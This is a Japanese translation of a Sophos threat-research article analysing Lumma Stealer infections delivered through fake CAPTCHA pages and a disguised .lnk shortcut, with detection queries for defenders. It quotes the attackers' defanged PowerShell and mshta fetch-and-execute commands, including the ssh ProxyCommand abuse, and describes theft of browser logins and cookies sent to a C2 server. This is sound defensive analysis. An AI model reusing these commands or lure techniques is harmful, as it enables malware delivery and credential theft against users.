** 本記事は、Lumma Stealer, coming and going の翻訳です。最新の情報は英語記事をご覧ください。**
2024 年 9 月、Sophos Managed Detection and Response のテレメトリに基づく脅威ハンティングにより、偽の CAPTCHA サイトを利用した Lumma Stealer キャンペーンが発見されました。このキャンペーンでは、標的は Windows のコマンドラインインターフェイスに (悪意のある) PowerShell エンコードされたコマンドを貼り付けるよう指示されます。その後の調査により、私たちはこの悪名高い情報窃取ツールの仕組みを詳しく分析しました。本記事では、2024 年から 25 年の秋から冬にかけて、さまざまな MDR 調査で確認された発見をご紹介します。
Lumma Stealer の基本情報
Lumma Stealer の活動は 2022 年半ばに始まっており、ロシア語圏の開発者によるものと考えられています。サービスとしてのマルウェア (MaaS) として提供されており、管理者は Telegram 経由で情報窃取ツールへのアクセスを販売し、アップデートとユーザーサポートを提供しています。さらに詳しい情報は、専用の Gitbook サイトで公開されています。
この情報窃取ツールはパスワード、セッショントークン、暗号通貨ウォレット、侵害されたデバイス内の個人情報など、さまざまな資産を狙います。このマルウェアの脅威は、配信方法が巧妙であるため拡大しています。ある攻撃者は、CAPTCHA 認証に対するユーザーの信頼を悪用し、ソーシャルエンジニアリング戦術を駆使してソフトウェアをダウンロードしようとする標的を欺きました。別の単純な事例では、ユーザーを悪意のある Web サイトに誘導し、Windows Explorer でファイルを開くように促しました。
Lumma Stealer への感染はここ数か月で非常に増加しているため、Lumma Stealer の多様な活動は、防御者にとって重要な意味を持ちます。とはいえ、私たちが目にした配信方法は Lumma Stealer 以外のマルウェアにも容易に適用できるため、攻撃者のドキュメントは有用です。(IoC のリストはソフォスの GitHub リポジトリで公開される予定です。)
ソフォスの研究者は、Netskope Threat Labs が現在行っている同様の研究について認識しています。同研究では、現在 5,000 件もの偽 CAPTCHA サイトが Lumma Stealer 関連のキャンペーンに関与している可能性があると推定されています。同様に、Qualys の研究者も Lumma Stealer がここ数か月の間に使用した手法を詳細に調査しています。ソフォスでは、ソフォス独自の IoC に加え、これらの研究者が公開している IoC の精査を強く推奨しています。
調査 #1: 盗みの芸術
今回の調査においては、CAPTCHA に関係する攻撃フローは比較的単純なものでした。攻撃者は hxxps[://]camplytic[.]com/go/cdff9f96-8cbd-4c44-b679-2f612a64cd00 に、正規のものに見える CAPTCHA 認証によって「保護」された悪意のある Web サイトを作成します。サイトにアクセスしたユーザーは、図 1 のような、見慣れた [私はロボットではありません] ボックスをクリックします。
図 1: おなじみの認証ボックス
ユーザーは次に、別の検証ページを名乗る hxxps[://]sos-at-vie-1[.]exo[.]io/store-as/cloudflare-new-artist[.]html にリダイレクトされます。そのページでは図 2 のように、まず Windows の「run」コマンドを読み込んだ後、Ctrl + V、次に Enter キーを押すよう求められます。
図 2: 次の「セキュリティチェック」リクエストは少々風変わりですが、油断しているユーザーは比較的簡単に受け入れてしまいます。
ユーザーが PowerShell コマンドを「ファイル名を指定して実行」ダイアログボックスにペーストすると、隠し JavaScript 関数がトリガーされ、PowerShell スクリプトがクリップボードにドロップされ、隠しウィンドウで実行されます。
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -command $uR= hxxps[://]fixedzip[.]oss-ap-southeast5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t
このスクリプトは、コマンドアンドコントロール (C2) サーバーから情報窃取マルウェアを取得し、図 3 に示すようなフローでペイロードの取得を開始します。
図 3: 不正な CAPTCHA を使用した攻撃フロー。Lumma Stealer 自体はプロセスの途中でロードされている。
この PowerShell スクリプトを実行すると、Lumma Stealer マルウェアが外部サーバーから取得され、侵害されたシステムに悪意のあるペイロードの第一段階がダウンロードされます。
$uR=hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex$t
さらに、上述のコマンドが、外部サーバーにホストされている new-artist.txt ファイルからコンテンツを取得します。このコンテンツは、その後 Invoke-Expression コマンドレットを通じて処理・実行されます。
コード内のこの new-artist.txt ファイルには、hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/artist[.]zip に接続する別の PowerShell スクリプトが含まれています。この Lumma Stealer の zip コピーが標的のマシンにダウンロードされ、ユーザーの %AppData% パスに展開された後、実行のために「ArtistSponsorship.exe」(sha256:e298cd6c5fe7b9a28480fd215ddcbd7aaa48a) として保存されます (図 4 参照)。
図 4: 悪意のあるダウンロード
ArtistSponsorship.exe ファイルには複数のドロップされたファイルが含まれており (図 5 参照)、その中には難読化された AutoIt.exe スクリプト (sha256:05d8cf394190f3a7 07abfb25fb44d7da9d5f533d7d2063b23c00cc11253c8be7) も存在します。これらは %temp% ディレクトリにドロップされます。
図 5: ArtistSponsorship.exe によって %temp% にドロップされた複数のファイル
AutoIT スクリプトはさまざまな機能を持ち、シェルコードも含んでいます。活動の中で、このスクリプトは C2 ドメイン snail-r1ced[.]cyou – IP 104.21.84[.]251 (CLOUDFLARENET) に接続します。その後、Lumma Stealer はユーザーデータ、さまざまなブラウザからのログイン認証情報、ビットコインのウォレット、Cookie を狙います。図 6 では、AutoIt3.exe が Chrome ブラウザで使用されているログインデータと Cookie にアクセスしています。
図 6: AutoIT3.exe が Chrome のログイン認証情報などを不正に取得する様子を捕捉
その後、AutoIt3.exe はスクリプト X.a3x を実行し、キャプチャした Chrome のログインデータと Cookie を C2 IP 104.21.84[.]251 (CLOUDFLARENET) に流出させます。私たちが確認した事例では、わずか 6.37MB のファイル (ログインデータと Cookie ) の窃取に成功したのち、AutoIt3.exe プロセスは終了しました。
調査 #2: コードの詳細分析
このセクションでは、ペイロードのデリバリーチェーン内で確認されたファイルやプロセスについて、さらに深く掘り下げていきます。ここで検証する事例では、ユーザーは意図せず感染した Web サイトにアクセスしました。
まず、図 7 に示すように、ユーザーは Windows のエクスプローラーで PDF 形式のファイルを開くように促されました。
図 7: ユーザーは PDF を読み込んでいるつもりですが、実際には違うことが起きています。
このファイルは、一見すると「Instruction_695-18014-012_Rev.PDF」という PDF ファイルですが、実際にはリモートでホストされた .lnk (ショートカット) ファイルです (図 8 参照)。
図 8: Windows は、このファイルは PDF ではなくショートカットだと警告します
このショートカットファイルは、難読化された PowerShell スクリプトの実行を試みます (図 9 参照)。
図 9: Target フィールドに記載された、難読化されたスクリプト
難読化されたスクリプトの全文は以下の通りです。
C:\Windows\System32\OpenSSH\sftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')
ユーザーがこのショートカットファイルを実行すると、sftp.exe が ProxyCommand フラグを通じて難読化されたコマンドを実行します。ただし、sftp.exe は実際にネットワーク接続を確立するのではなく、特別なパラメーターセットを使用して ssh.exe にタスクを委譲します。
"C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp .
上記のコードブロックの通り、パラメーターは「ProxyCommand」オプションを利用します。ProxyCommand は、標的ホストに直接接続する代わりに実行するコマンドを指定します。上記の例では、ProxyCommand は PowerShell を実行するように設定されており、mshta.exe を実行してリモートスクリプトをダウンロードし、実行しています。
最初の PowerShell スクリプトの実行は図 10 に示す通りです。
図 10: 最初の実行
このスクリプトは、AES で暗号化されたデータを aepcc 関数内で処理します (図 11 参照)。
図 11: Lumma Stealer の作成者は強力な暗号化アルゴリズムを採用したようです
図 12 では、 AES キーが最初に記載されています。その後に、16 バイトのゼロからなる初期化ベクター (IV) が続きます。IV は暗号化プロセスの開始にランダム性を持たせるためのものです。しかしながら、私たちは CyberChef を使ったデータの復号に成功しました。その結果は以下の通りです。
図 12: CyberChef により活動内容を解明
次に、スクリプトを base64 からデコードしました。多少は読みやすくなりましたが、大量の 10 進数の塊になりました (図 13 参照)。
図 13: 多少読みやすくなったスクリプト
これらの大量の数字は、実際には ASCII 文字を表しています。CyberChef での分析を進めると (図 14 参照)、このファイルが PE ファイル (ポータブル実行可能ファイル) であり、さらなるペイロードをダウンロードするように設計されたものであることが判明します。
図 14: 単一の悪意ある目的を持った PE ファイル
このスクリプトは以下のアクションを実行します。
- 変数「O」に C2 URL を格納する。
- .NET 「System.Reflection.Assembly」クラスから「Load」メソッドを動的に取得する。
「Load」メソッドが変数「oQ7」(難読化された PE) の値に対して呼び出される。ここで PE がメモリ上にロードされます。 - 上述の通り、PE には「aHdiNKuIWIR」という名前の静的メソッドが 1 つ含まれています。このメソッドは WebClient を使って URL のコンテンツをダウンロードします。
スクリプトが変数「O」の値 (C2 URL) をメモリにロードされた PE に渡す。 - PE で定義された「aHdiNKuWlR」メソッドが渡された URL を処理し、DownloadString を使ってコンテンツをダウンロードする。
- 変数「Ikmg」に「\appdata\roaming」のパスが保存される。
- 以下の動作を行う関数「bOje」が実行される。
- 「i1040gi.pdf」を変数「Ikmg」(ファイルパス) に追加する。
- 関数「rlYDr」を呼び出し、AES で復号されたデータの位置 103 から長さ 86 で取り出した一意の識別子を渡す (図 15 参照)。
- パス「\appdata\roaming\i1040gi.pdf」が存在するかどうか確認する。
- ファイルパスが存在しない場合は、関数「XSFbo」を実行する。この関数は 2 つのパラメーターを取ります。
- 「BtPdn」: この関数は、一意の識別子を入力として受け取ります。AES で復号化されたデータから特定の 100 文字を抽出し、ルックアップテーブルとして使用して、一意の識別子を URL に変換します。生成された URL は、IRS (米国内国歳入庁) の正規の PDF ドキュメントでした。
- 2 つ目のパラメーターは、図 16 に示すように、変数「EVcD」に格納されたファイルパスです。
図 16: ファイルパスが出現
デコードされた後は、関数「XSFbo」がこの URL を受け取り、「Net.WebClient」(同じく「BtnPdn」を使ってデコード) を使用してコンテンツをダウンロードし、図 17 に示すように、変数「EVcD」で指定されたファイルパスに PDF を保存します。
図 17: 保存先としてファイルパスが再度出現します
最後に、ダウンロードされた PDF が実行されます (図 18 と図 19 を参照)。<
図 18: これが・・・
図 19: こうなります
さらなる詳細
今回の分析を締めくくるため、正規の PDF がダウンロードされ、実行される前の段階までさかのぼってみましょう。
まず、デコードした PE をロードするために使用される「Load」メソッドが動的に取得されていることに気づきました。次に PE の内部で定義された静的メソッドが確認され、次の段階をダウンロードするために利用されていることが分かりました。最後に、ダウンロードされたスクリプトが「InvokeScript」で実行されているのが確認されました。次の段階に注目してみましょう。
次にダウンロードされるファイルは、意味のないコメントと非常に長い変数名で強力に難読化されています (図 20 参照)。
図 20: 月餅、パスティ、フリッタ、ラグー、ケバブ、タコス…空腹の状態で難読化したのでしょうか
解読すると、このスクリプトが最終段階のダウンロードを担当していることがわかりました。このスクリプトは、「GetProcAddress」、「VirtualProtect」、「AmsiInitialize」などの低レベル Windows API の動的解決を特徴としています。
検出
以下のクエリは、Lumma Stealer の痕跡を探す防御者にとって有用かもしれません。
過去 8 時間以内または特定の期間内で、特定の SPID を使用して Lumma Stealer を構築するために使用されたすべての脅威ファイル (スクリプト/バイナリ) を特定します。
SELECT strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.time,'unixepoch')) dateTime,sfj.time AS epoch_time, spj.cmd_line, CASE sfj.event_type WHEN 0 THEN 'Created' WHEN 2 THEN 'Deleted' END eventType, sfj.sophos_pid, sfj.path AS file_path, sfj.target_path, sfj.file_size, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.creation_time,'unixepoch')) birth_time_utc, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.last_write_time,'unixepoch')) modified_time_utc, spj.sid, u.username, sfj.sha256 FROM sophos_file_journal sfj LEFT JOIN sophos_process_journal spj ON sfj.sophos_pid = spj.sophos_pid LEFT JOIN users u ON spj.sid = u.uuid WHERE sfj.sophos_pid IN ('<SPID1>', '<SPID2>', '<SPID3>', '<SPID4>') AND sfj.event_type IN (0, 2) AND sfj.time > strftime('%s', 'now', '-8 hour') --sfj.time > strftime('%s','2024-11-13 04:44:32') AND sfj.time < strftime('%s','2024-11-13 04:47:35')
データの流出および C2 の可能性を特定します。
SELECT strftime('%Y-%m-%d %H:%M:%S', datetime(time,'unixepoch')) dateTime, * FROM sophos_process_activity WHERE sophos_pid IN ('<SPID1>', '<SPID2>', '<SPID3>', '<SPID4>') AND subject IN ('Dns','FileOtherReads', 'Ip', 'RuntimeIOCs', 'Process', 'Network') AND time > strftime('%s', 'now', '-8 hour') --AND time > strftime('%s','2024-11-13 04:44:32') AND time < strftime('%s','2024-11-13 04:47:35')
閲覧履歴から偽の CAPTCHA/ 認証プロンプトの送信元 URL を特定します。
SELECT f.path,f.directory,f.filename,f.size,strftime('%Y-%m-%d %H:%M:%S',datetime(f.mtime,'unixepoch')) AS modified_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.atime,'unixepoch')) AS last_access_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.ctime,'unixepoch')) AS change_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.btime,'unixepoch')) AS birth_time_utc,attributes, h.sha256 AS SHA256, h.sha1 AS SHA1, h.md5 AS MD5 FROM file f LEFT JOIN hash h on f.path = h.path WHERE f.path LIKE 'C:\Users\%\AppData\Local\Google\Chrome\User Data\%\History' -- Windows history for Chrome OR f.path LIKE 'C:\Users\%\AppData\Local\Microsoft\Edge\User Data\%\History' -- history for Edge OR f.path LIKE 'C:\Users\%\AppData\Roaming\Mozilla\Firefox\Profiles\%\places.sqlite' --Windows history for Firefox; OR f.path LIKE 'C:\Users\%\AppData\Roaming\Mozilla\Firefox\Profiles\%\downloads.sqlite' --Windows history for Firefox; order by f.mtime DESC
結論
本記事執筆時点では、Lumma Stealer は依然として大きな脅威です。偽の CAPTCHA サイトを利用して標的をおびき寄せ、システムに悪意のあるコマンドを入力させるという文書化された手口は、状況を悪化させるものです。ソフォスのエンドポイントプロテクションは、マルウェアの検出や行動分析手法によってこの脅威に対抗していますが、長年にわたってユーザーに CAPTCHA に回答するよう求めてきた今、CAPTCHA を警戒するようにユーザーを再度教育するのは大変です。啓蒙活動の拡大に合わせて、防御側には適切なエンドポイント検知技術の導入が推奨されます。また、この非常に一般的な情報窃取マルウェアの戦術が進化し続けていることにも注意が必要です。
謝辞
Andrew Jaeger、Nayana V R、David Whitehall、Waldemar Stiefvater の各氏から本記事にレビューと建設的な批評が寄せられました。
IoC (セキュリティ侵害の痕跡)
今回の調査に関係する IoC は、ソフォスの GitHub リポジトリで公開しています。